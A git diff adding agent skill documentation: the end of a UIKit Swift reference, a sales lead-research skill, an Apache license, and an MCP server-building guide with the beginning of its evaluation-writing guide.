.cancel)) + + present(alert, animated: true) +} +``` + +## UISearchController + +```swift +class SearchableListVC: UIViewController, UISearchResultsUpdating { + private let searchController = UISearchController(searchResultsController: nil) + private var allItems: [Item] = [] + + override func viewDidLoad() { + super.viewDidLoad() + setupSearch() + } + + private func setupSearch() { + searchController.searchResultsUpdater = self + searchController.obscuresBackgroundDuringPresentation = false + searchController.searchBar.placeholder = "Search" + navigationItem.searchController = searchController + definesPresentationContext = true + } + + func updateSearchResults(for searchController: UISearchController) { + let query = searchController.searchBar.text ?? "" + let filtered = query.isEmpty ? allItems : allItems.filter { + $0.title.localizedCaseInsensitiveContains(query) + } + updateItems(filtered) + } +} +``` + +### Search Bar Configuration + +```swift +searchController.searchBar.scopeButtonTitles = ["All", "Recent", "Favorites"] +searchController.searchBar.showsScopeBar = true +searchController.searchBar.delegate = self + +extension SearchableListVC: UISearchBarDelegate { + func searchBar(_ searchBar: UISearchBar, selectedScopeButtonIndexDidChange selectedScope: Int) { + filterContent(scope: selectedScope) + } +} +``` + +## UIContextMenuInteraction + +```swift +extension PhotoCell: UIContextMenuInteractionDelegate { + func contextMenuInteraction( + _ interaction: UIContextMenuInteraction, + configurationForMenuAtLocation location: CGPoint + ) -> UIContextMenuConfiguration? { + UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { _ in + let share = UIAction( + title: "Share", + image: UIImage(systemName: "square.and.arrow.up") + ) { _ in } + + let favorite = UIAction( + title: "Favorite", + image: UIImage(systemName: "heart") + ) { _ in } + + let delete = UIAction( + title: "Delete", + image: UIImage(systemName: "trash"), + attributes: .destructive + ) { _ in } + + return UIMenu(children: [share, favorite, delete]) + } + } +} +``` + +### Context Menu with Preview + +```swift +func contextMenuInteraction( + _ interaction: UIContextMenuInteraction, + configurationForMenuAtLocation location: CGPoint +) -> UIContextMenuConfiguration? { + UIContextMenuConfiguration( + identifier: itemID as NSCopying, + previewProvider: { [weak self] in + return self?.makePreviewController() + }, + actionProvider: { _ in + return self.makeMenu() + } + ) +} + +func contextMenuInteraction( + _ interaction: UIContextMenuInteraction, + willPerformPreviewActionForMenuWith configuration: UIContextMenuConfiguration, + animator: UIContextMenuInteractionCommitAnimating +) { + animator.addCompletion { + self.showDetail() + } +} +``` + +### CollectionView Context Menu + +```swift +func collectionView( + _ collectionView: UICollectionView, + contextMenuConfigurationForItemAt indexPath: IndexPath, + point: CGPoint +) -> UIContextMenuConfiguration? { + let item = dataSource.itemIdentifier(for: indexPath) + return UIContextMenuConfiguration(identifier: indexPath as NSCopying, previewProvider: nil) { _ in + return self.makeMenu(for: item) + } +} +``` + +--- + +*UIKit and Apple are trademarks of Apple Inc.* diff --git a/skills/lead-research-assistant/SKILL.md b/skills/lead-research-assistant/SKILL.md new file mode 100644 index 0000000..1ac7199 --- /dev/null +++ b/skills/lead-research-assistant/SKILL.md @@ -0,0 +1,205 @@ +--- +name: lead-research-assistant +description: Identifies high-quality leads for your product or service by analyzing your business, searching for target companies, and providing actionable contact strategies. Perfect for sales, business development, and marketing professionals. +--- + +# Lead Research Assistant + +This skill helps you identify and qualify potential leads for your business by analyzing your product/service, understanding your ideal customer profile, and providing actionable outreach strategies. + +## Prerequisites + +- **Web search access**: Required for researching target companies +- **Optional**: Codebase analysis for understanding your product +- **Optional**: Google/LinkedIn search tools for company research + +## When to Use This Skill + +- Finding potential customers or clients for your product/service +- Building a list of companies to reach out to for partnerships +- Identifying target accounts for sales outreach +- Researching companies that match your ideal customer profile +- Preparing for business development activities + +## What This Skill Does + +1. **Understands Your Business**: Analyzes your product/service, value proposition, and target market +2. **Identifies Target Companies**: Finds companies that match your ideal customer profile based on: + - Industry and sector + - Company size and location + - Technology stack and tools they use + - Growth stage and funding + - Pain points your product solves +3. **Prioritizes Leads**: Ranks companies based on fit score and relevance +4. **Provides Contact Strategies**: Suggests how to approach each lead with personalized messaging +5. **Enriches Data**: Gathers relevant information about decision-makers and company context + +## How to Use + +### Basic Usage + +Simply describe your product/service and what you're looking for: + +``` +I'm building [product description]. Find me 10 companies in [location/industry] +that would be good leads for this. +``` + +### With Your Codebase + +For even better results, run this from your product's source code directory: + +``` +Look at what I'm building in this repository and identify the top 10 companies +in [location/industry] that would benefit from this product. +``` + +### Advanced Usage + +For more targeted research: + +``` +My product: [description] +Ideal customer profile: +- Industry: [industry] +- Company size: [size range] +- Location: [location] +- Current pain points: [pain points] +- Technologies they use: [tech stack] + +Find me 20 qualified leads with contact strategies for each. +``` + +## Instructions + +When a user requests lead research: + +1. **Understand the Product/Service** + - If in a code directory, analyze the codebase to understand the product + - Ask clarifying questions about the value proposition + - Identify key features and benefits + - Understand what problems it solves + +2. **Define Ideal Customer Profile** + - Determine target industries and sectors + - Identify company size ranges + - Consider geographic preferences + - Understand relevant pain points + - Note any technology requirements + +3. **Research and Identify Leads** + - Search for companies matching the criteria + - Look for signals of need (job postings, tech stack, recent news) + - Consider growth indicators (funding, expansion, hiring) + - Identify companies with complementary products/services + - Check for budget indicators + +4. **Prioritize and Score** + - Create a fit score (1-10) for each lead + - Consider factors like: + - Alignment with ICP + - Signals of immediate need + - Budget availability + - Competitive landscape + - Timing indicators + +5. **Provide Actionable Output** + + For each lead, provide: + - **Company Name** and website + - **Why They're a Good Fit**: Specific reasons based on their business + - **Priority Score**: 1-10 with explanation + - **Decision Maker**: Role/title to target (e.g., "VP of Engineering") + - **Contact Strategy**: Personalized approach suggestions + - **Value Proposition**: How your product solves their specific problem + - **Conversation Starters**: Specific points to mention in outreach + - **LinkedIn URL**: If available, for easy connection + +6. **Format the Output** + + Present results in a clear, scannable format: + + ```markdown + # Lead Research Results + + ## Summary + - Total leads found: [X] + - High priority (8-10): [X] + - Medium priority (5-7): [X] + - Average fit score: [X] + + --- + + ## Lead 1: [Company Name] + + **Website**: [URL] + **Priority Score**: [X/10] + **Industry**: [Industry] + **Size**: [Employee count/revenue range] + + **Why They're a Good Fit**: + [2-3 specific reasons based on their business] + + **Target Decision Maker**: [Role/Title] + **LinkedIn**: [URL if available] + + **Value Proposition for Them**: + [Specific benefit for this company] + + **Outreach Strategy**: + [Personalized approach - mention specific pain points, recent company news, or relevant context] + + **Conversation Starters**: + - [Specific point 1] + - [Specific point 2] + + --- + + [Repeat for each lead] + ``` + +7. **Offer Next Steps** + - Suggest saving results to a CSV for CRM import + - Offer to draft personalized outreach messages + - Recommend prioritization based on timing + - Suggest follow-up research for top leads + +## Examples + +### Example 1: From Lenny's Newsletter + +**User**: "I'm building a tool that masks sensitive data in AI coding assistant queries. Find potential leads." + +**Output**: Creates a prioritized list of companies that: +- Use AI coding assistants (Copilot, Cursor, etc.) +- Handle sensitive data (fintech, healthcare, legal) +- Have evidence in their GitHub repos of using coding agents +- May have accidentally exposed sensitive data in code +- Includes LinkedIn URLs of relevant decision-makers + +### Example 2: Local Business + +**User**: "I run a consulting practice for remote team productivity. Find me 10 companies in the Bay Area that recently went remote." + +**Output**: Identifies companies that: +- Recently posted remote job listings +- Announced remote-first policies +- Are hiring distributed teams +- Show signs of remote work challenges +- Provides personalized outreach strategies for each + +## Tips for Best Results + +- **Be specific** about your product and its unique value +- **Run from your codebase** if applicable for automatic context +- **Provide context** about your ideal customer profile +- **Specify constraints** like industry, location, or company size +- **Request follow-up** research on promising leads for deeper insights + +## Related Use Cases + +- Drafting personalized outreach emails after identifying leads +- Building a CRM-ready CSV of qualified prospects +- Researching specific companies in detail +- Analyzing competitor customer bases +- Identifying partnership opportunities diff --git a/skills/mcp-builder/LICENSE.txt b/skills/mcp-builder/LICENSE.txt new file mode 100644 index 0000000..7a4a3ea --- /dev/null +++ b/skills/mcp-builder/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/mcp-builder/SKILL.md b/skills/mcp-builder/SKILL.md new file mode 100644 index 0000000..c9ef8a2 --- /dev/null +++ b/skills/mcp-builder/SKILL.md @@ -0,0 +1,328 @@ +--- +name: mcp-builder +description: Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when building MCP servers to integrate external APIs or services, whether in Python (FastMCP) or Node/TypeScript (MCP SDK). +license: Complete terms in LICENSE.txt +--- + +# MCP Server Development Guide + +## Overview + +To create high-quality MCP (Model Context Protocol) servers that enable LLMs to effectively interact with external services, use this skill. An MCP server provides tools that allow LLMs to access external services and APIs. The quality of an MCP server is measured by how well it enables LLMs to accomplish real-world tasks using the tools provided. + +--- + +# Process + +## 🚀 High-Level Workflow + +Creating a high-quality MCP server involves four main phases: + +### Phase 1: Deep Research and Planning + +#### 1.1 Understand Agent-Centric Design Principles + +Before diving into implementation, understand how to design tools for AI agents by reviewing these principles: + +**Build for Workflows, Not Just API Endpoints:** +- Don't simply wrap existing API endpoints - build thoughtful, high-impact workflow tools +- Consolidate related operations (e.g., `schedule_event` that both checks availability and creates event) +- Focus on tools that enable complete tasks, not just individual API calls +- Consider what workflows agents actually need to accomplish + +**Optimize for Limited Context:** +- Agents have constrained context windows - make every token count +- Return high-signal information, not exhaustive data dumps +- Provide "concise" vs "detailed" response format options +- Default to human-readable identifiers over technical codes (names over IDs) +- Consider the agent's context budget as a scarce resource + +**Design Actionable Error Messages:** +- Error messages should guide agents toward correct usage patterns +- Suggest specific next steps: "Try using filter='active_only' to reduce results" +- Make errors educational, not just diagnostic +- Help agents learn proper tool usage through clear feedback + +**Follow Natural Task Subdivisions:** +- Tool names should reflect how humans think about tasks +- Group related tools with consistent prefixes for discoverability +- Design tools around natural workflows, not just API structure + +**Use Evaluation-Driven Development:** +- Create realistic evaluation scenarios early +- Let agent feedback drive tool improvements +- Prototype quickly and iterate based on actual agent performance + +#### 1.3 Study MCP Protocol Documentation + +**Fetch the latest MCP protocol documentation:** + +Use WebFetch to load: `https://modelcontextprotocol.io/llms-full.txt` + +This comprehensive document contains the complete MCP specification and guidelines. + +#### 1.4 Study Framework Documentation + +**Load and read the following reference files:** + +- **MCP Best Practices**: [📋 View Best Practices](./reference/mcp_best_practices.md) - Core guidelines for all MCP servers + +**For Python implementations, also load:** +- **Python SDK Documentation**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` +- [🐍 Python Implementation Guide](./reference/python_mcp_server.md) - Python-specific best practices and examples + +**For Node/TypeScript implementations, also load:** +- **TypeScript SDK Documentation**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` +- [⚡ TypeScript Implementation Guide](./reference/node_mcp_server.md) - Node/TypeScript-specific best practices and examples + +#### 1.5 Exhaustively Study API Documentation + +To integrate a service, read through **ALL** available API documentation: +- Official API reference documentation +- Authentication and authorization requirements +- Rate limiting and pagination patterns +- Error responses and status codes +- Available endpoints and their parameters +- Data models and schemas + +**To gather comprehensive information, use web search and the WebFetch tool as needed.** + +#### 1.6 Create a Comprehensive Implementation Plan + +Based on your research, create a detailed plan that includes: + +**Tool Selection:** +- List the most valuable endpoints/operations to implement +- Prioritize tools that enable the most common and important use cases +- Consider which tools work together to enable complex workflows + +**Shared Utilities and Helpers:** +- Identify common API request patterns +- Plan pagination helpers +- Design filtering and formatting utilities +- Plan error handling strategies + +**Input/Output Design:** +- Define input validation models (Pydantic for Python, Zod for TypeScript) +- Design consistent response formats (e.g., JSON or Markdown), and configurable levels of detail (e.g., Detailed or Concise) +- Plan for large-scale usage (thousands of users/resources) +- Implement character limits and truncation strategies (e.g., 25,000 tokens) + +**Error Handling Strategy:** +- Plan graceful failure modes +- Design clear, actionable, LLM-friendly, natural language error messages which prompt further action +- Consider rate limiting and timeout scenarios +- Handle authentication and authorization errors + +--- + +### Phase 2: Implementation + +Now that you have a comprehensive plan, begin implementation following language-specific best practices. + +#### 2.1 Set Up Project Structure + +**For Python:** +- Create a single `.py` file or organize into modules if complex (see [🐍 Python Guide](./reference/python_mcp_server.md)) +- Use the MCP Python SDK for tool registration +- Define Pydantic models for input validation + +**For Node/TypeScript:** +- Create proper project structure (see [⚡ TypeScript Guide](./reference/node_mcp_server.md)) +- Set up `package.json` and `tsconfig.json` +- Use MCP TypeScript SDK +- Define Zod schemas for input validation + +#### 2.2 Implement Core Infrastructure First + +**To begin implementation, create shared utilities before implementing tools:** +- API request helper functions +- Error handling utilities +- Response formatting functions (JSON and Markdown) +- Pagination helpers +- Authentication/token management + +#### 2.3 Implement Tools Systematically + +For each tool in the plan: + +**Define Input Schema:** +- Use Pydantic (Python) or Zod (TypeScript) for validation +- Include proper constraints (min/max length, regex patterns, min/max values, ranges) +- Provide clear, descriptive field descriptions +- Include diverse examples in field descriptions + +**Write Comprehensive Docstrings/Descriptions:** +- One-line summary of what the tool does +- Detailed explanation of purpose and functionality +- Explicit parameter types with examples +- Complete return type schema +- Usage examples (when to use, when not to use) +- Error handling documentation, which outlines how to proceed given specific errors + +**Implement Tool Logic:** +- Use shared utilities to avoid code duplication +- Follow async/await patterns for all I/O +- Implement proper error handling +- Support multiple response formats (JSON and Markdown) +- Respect pagination parameters +- Check character limits and truncate appropriately + +**Add Tool Annotations:** +- `readOnlyHint`: true (for read-only operations) +- `destructiveHint`: false (for non-destructive operations) +- `idempotentHint`: true (if repeated calls have same effect) +- `openWorldHint`: true (if interacting with external systems) + +#### 2.4 Follow Language-Specific Best Practices + +**At this point, load the appropriate language guide:** + +**For Python: Load [🐍 Python Implementation Guide](./reference/python_mcp_server.md) and ensure the following:** +- Using MCP Python SDK with proper tool registration +- Pydantic v2 models with `model_config` +- Type hints throughout +- Async/await for all I/O operations +- Proper imports organization +- Module-level constants (CHARACTER_LIMIT, API_BASE_URL) + +**For Node/TypeScript: Load [⚡ TypeScript Implementation Guide](./reference/node_mcp_server.md) and ensure the following:** +- Using `server.registerTool` properly +- Zod schemas with `.strict()` +- TypeScript strict mode enabled +- No `any` types - use proper types +- Explicit Promise return types +- Build process configured (`npm run build`) + +--- + +### Phase 3: Review and Refine + +After initial implementation: + +#### 3.1 Code Quality Review + +To ensure quality, review the code for: +- **DRY Principle**: No duplicated code between tools +- **Composability**: Shared logic extracted into functions +- **Consistency**: Similar operations return similar formats +- **Error Handling**: All external calls have error handling +- **Type Safety**: Full type coverage (Python type hints, TypeScript types) +- **Documentation**: Every tool has comprehensive docstrings/descriptions + +#### 3.2 Test and Build + +**Important:** MCP servers are long-running processes that wait for requests over stdio/stdin or sse/http. Running them directly in your main process (e.g., `python server.py` or `node dist/index.js`) will cause your process to hang indefinitely. + +**Safe ways to test the server:** +- Use the evaluation harness (see Phase 4) - recommended approach +- Run the server in tmux to keep it outside your main process +- Use a timeout when testing: `timeout 5s python server.py` + +**For Python:** +- Verify Python syntax: `python -m py_compile your_server.py` +- Check imports work correctly by reviewing the file +- To manually test: Run server in tmux, then test with evaluation harness in main process +- Or use the evaluation harness directly (it manages the server for stdio transport) + +**For Node/TypeScript:** +- Run `npm run build` and ensure it completes without errors +- Verify dist/index.js is created +- To manually test: Run server in tmux, then test with evaluation harness in main process +- Or use the evaluation harness directly (it manages the server for stdio transport) + +#### 3.3 Use Quality Checklist + +To verify implementation quality, load the appropriate checklist from the language-specific guide: +- Python: see "Quality Checklist" in [🐍 Python Guide](./reference/python_mcp_server.md) +- Node/TypeScript: see "Quality Checklist" in [⚡ TypeScript Guide](./reference/node_mcp_server.md) + +--- + +### Phase 4: Create Evaluations + +After implementing your MCP server, create comprehensive evaluations to test its effectiveness. + +**Load [✅ Evaluation Guide](./reference/evaluation.md) for complete evaluation guidelines.** + +#### 4.1 Understand Evaluation Purpose + +Evaluations test whether LLMs can effectively use your MCP server to answer realistic, complex questions. + +#### 4.2 Create 10 Evaluation Questions + +To create effective evaluations, follow the process outlined in the evaluation guide: + +1. **Tool Inspection**: List available tools and understand their capabilities +2. **Content Exploration**: Use READ-ONLY operations to explore available data +3. **Question Generation**: Create 10 complex, realistic questions +4. **Answer Verification**: Solve each question yourself to verify answers + +#### 4.3 Evaluation Requirements + +Each question must be: +- **Independent**: Not dependent on other questions +- **Read-only**: Only non-destructive operations required +- **Complex**: Requiring multiple tool calls and deep exploration +- **Realistic**: Based on real use cases humans would care about +- **Verifiable**: Single, clear answer that can be verified by string comparison +- **Stable**: Answer won't change over time + +#### 4.4 Output Format + +Create an XML file with this structure: + +```xml + + + Find discussions about AI model launches with animal codenames. One model needed a specific safety designation that uses the format ASL-X. What number X was being determined for the model named after a spotted wild cat? + 3 + + + +``` + +--- + +# Reference Files + +## 📚 Documentation Library + +Load these resources as needed during development: + +### Core MCP Documentation (Load First) +- **MCP Protocol**: Fetch from `https://modelcontextprotocol.io/llms-full.txt` - Complete MCP specification +- [📋 MCP Best Practices](./reference/mcp_best_practices.md) - Universal MCP guidelines including: + - Server and tool naming conventions + - Response format guidelines (JSON vs Markdown) + - Pagination best practices + - Character limits and truncation strategies + - Tool development guidelines + - Security and error handling standards + +### SDK Documentation (Load During Phase 1/2) +- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` +- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` + +### Language-Specific Implementation Guides (Load During Phase 2) +- [🐍 Python Implementation Guide](./reference/python_mcp_server.md) - Complete Python/FastMCP guide with: + - Server initialization patterns + - Pydantic model examples + - Tool registration with `@mcp.tool` + - Complete working examples + - Quality checklist + +- [⚡ TypeScript Implementation Guide](./reference/node_mcp_server.md) - Complete TypeScript guide with: + - Project structure + - Zod schema patterns + - Tool registration with `server.registerTool` + - Complete working examples + - Quality checklist + +### Evaluation Guide (Load During Phase 4) +- [✅ Evaluation Guide](./reference/evaluation.md) - Complete evaluation creation guide with: + - Question creation guidelines + - Answer verification strategies + - XML format specifications + - Example questions and answers + - Running an evaluation with the provided scripts diff --git a/skills/mcp-builder/reference/evaluation.md b/skills/mcp-builder/reference/evaluation.md new file mode 100644 index 0000000..87e9bb7 --- /dev/null +++ b/skills/mcp-builder/reference/evaluation.md @@ -0,0 +1,602 @@ +# MCP Server Evaluation Guide + +## Overview + +This document provides guidance on creating comprehensive evaluations for MCP servers. Evaluations test whether LLMs can effectively use your MCP server to answer realistic, complex questions using only the tools provided. + +--- + +## Quick Reference + +### Evaluation Requirements +- Create 10 human-readable questions +- Questions must be READ-ONLY, INDEPENDENT, NON-DESTRUCTIVE +- Each question requires multiple tool calls (potentially dozens) +- Answers must be single, verifiable values +- Answers must be STABLE (won't change over time) + +### Output Format +```xml + + + Your question here + Single verifiable answer + + +``` + +--- + +## Purpose of Evaluations + +The measure of quality of an MCP server is NOT how well or comprehensively the server implements tools, but how well these implementations (input/output schemas, docstrings/descriptions, functionality) enable LLMs with no other context and access ONLY to the MCP servers to answer realistic and difficult questions. + +## Evaluation Overview + +Create 10 human-readable questions requiring ONLY READ-ONLY, INDEPENDENT, NON-DESTRUCTIVE, and IDEMPOTENT operations to answer. Each question should be: +- Realistic +- Clear and concise +- Unambiguous +- Complex, requiring potentially dozens of tool calls or steps +- Answerable with a single, verifiable value that you identify in advance + +## Question Guidelines + +### Core Requirements + +1. **Questions MUST be independent** + - Each question should NOT depend on the answer to any other question + - Should not assume prior write operations from processing another question + +2. **Questions MUST require ONLY NON-DESTRUCTIVE AND IDEMPOTENT tool use** + - Should not instruct or require modifying state to arrive at the correct answer + +3. **Questions must be REALISTIC, CLEAR, CONCISE, and COMPLEX** + - Must require another LLM to use multiple (potentially dozens of) tools or steps to answer + +### Complexity and Depth + +4. **Questions must require deep exploration** + - Consider multi-hop questions requiring multiple sub-questions and sequential tool calls + - Each step should benefit from information found in previous questions + +5. **Questions may require extensive paging** + - May need paging through multiple pages of results + - May require querying old data (1-2 years out-of-date) to find niche information + - The questions must be DIFFICULT + +6. **Questions must require deep understanding** + - Rather than surface-level knowledge + - May pose complex ideas as True/False questions requiring evidence + - May use multiple-choice format where LLM must search different hypotheses + +7. **Questions must not be solvable with straightforward keyword search** + - Do not include specific keywords from the target content + - Use synonyms, related concepts, or paraphrases + - Require multiple searches, analyzing multiple related items, extracting context, then deriving the answer + +### Tool Testing + +8. **Questions should stress-test tool return values** + - May elicit tools returning large JSON objects or lists, overwhelming the LLM + - Should require understanding multiple modalities of data: + - IDs and names + - Timestamps and datetimes (months, days, years, seconds) + - File IDs, names, extensions, and mimetypes + - URLs, GIDs, etc. + - Should probe the tool's ability to return all useful forms of data + +9. **Questions should MOSTLY reflect real human use cases** + - The kinds of information retrieval tasks that HUMANS assisted by an LLM would care about + +10. **Questions may require dozens of tool calls** + - This challenges LLMs with limited context + - Encourages MCP server tools to reduce information returned + +11. **Include ambiguous questions** + - May be ambiguous OR require difficult decisions on which tools to call + - Force the LLM to potentially make mistakes or misinterpret + - Ensure that despite AMBIGUITY, there is STILL A SINGLE VERIFIABLE ANSWER + +### Stability + +12. **Questions must be designed so the answer DOES NOT CHANGE** + - Do not ask questions that rely on "current state" which is dynamic + - For example, do not count: + - Number of reactions to a post + - Number of replies to a thread + - Number of members in a channel + +13. **DO NOT let the MCP server RESTRICT the kinds of questions you create** + - Create challenging and complex questions + - Some may not be solvable with the available MCP server tools + - Questions may require specific output formats (datetime vs. epoch time, JSON vs. MARKDOWN) + - Questions may require dozens of tool calls to complete + +## Answer Guidelines + +### Verification + +1. **Answers must be VERIFIABLE via direct string comparison** + - If the answer can be re-written in many formats, clearly specify the output format in the QUESTION + - Examples: "Use YYYY/MM/DD.", "Respond True or False.", "Answer A, B, C, or D and nothing else." + - Answer should be a single VERIFIABLE value such as: + - User ID, user name, display name, first name, last name + - Channel ID, channel name + - Message ID, string + - URL, title + - Numerical quantity + - Timestamp, datetime + - Boolean (for True/False questions) + - Email address, phone number + - File ID, file name, file extension + - Multiple choice answer + - Answers must not require special formatting or complex, structured output + - Answer will be verified using DIRECT STRING COMPARISON + +### Readability + +2. **Answers should generally prefer HUMAN-READABLE formats** + - Examples: names, first name, last name, datetime, file name, message string, URL, yes/no, true/false, a/b/c/d + - Rather than opaque IDs (though IDs are acceptable) + - The VAST MAJORITY of answers should be human-readable + +### Stability + +3. **Answers must be STABLE/STATIONARY** + - Look at old content (e.g., conversations that have ended, projects that have launched, questions answered) + - Create QUESTIONS based on "closed" concepts that will always return the same answer + - Questions may ask to consider a fixed time window to insulate from non-stationary answers + - Rely on context UNLIKELY to change + - Example: if finding a paper name, be SPECIFIC enough so answer is not confused with papers published later + +4. **Answers must be CLEAR and UNAMBIGUOUS** + - Questions must be designed so there is a single, clear answer + - Answer can be derived from using the MCP server tools + +### Diversity + +5. **Answers must be DIVERSE** + - Answer should be a single VERIFIABLE value in diverse modalities and formats + - User concept: user ID, user name, display name, first name, last name, email address, phone number + - Channel concept: channel ID, channel name, channel topic + - Message concept: message ID, message string, timestamp, month, day, year + +6. **Answers must NOT be complex structures** + - Not a list of values + - Not a complex object + - Not a list of IDs or strings + - Not natural language text + - UNLESS the answer can be straightforwardly verified using DIRECT STRING COMPARISON + - And can be realistically reproduced + - It should be unlikely that an LLM would return the same list in any other order or format + +## Evaluation Process + +### Step 1: Documentation Inspection + +Read the documentation of the target API to understand: +- Available 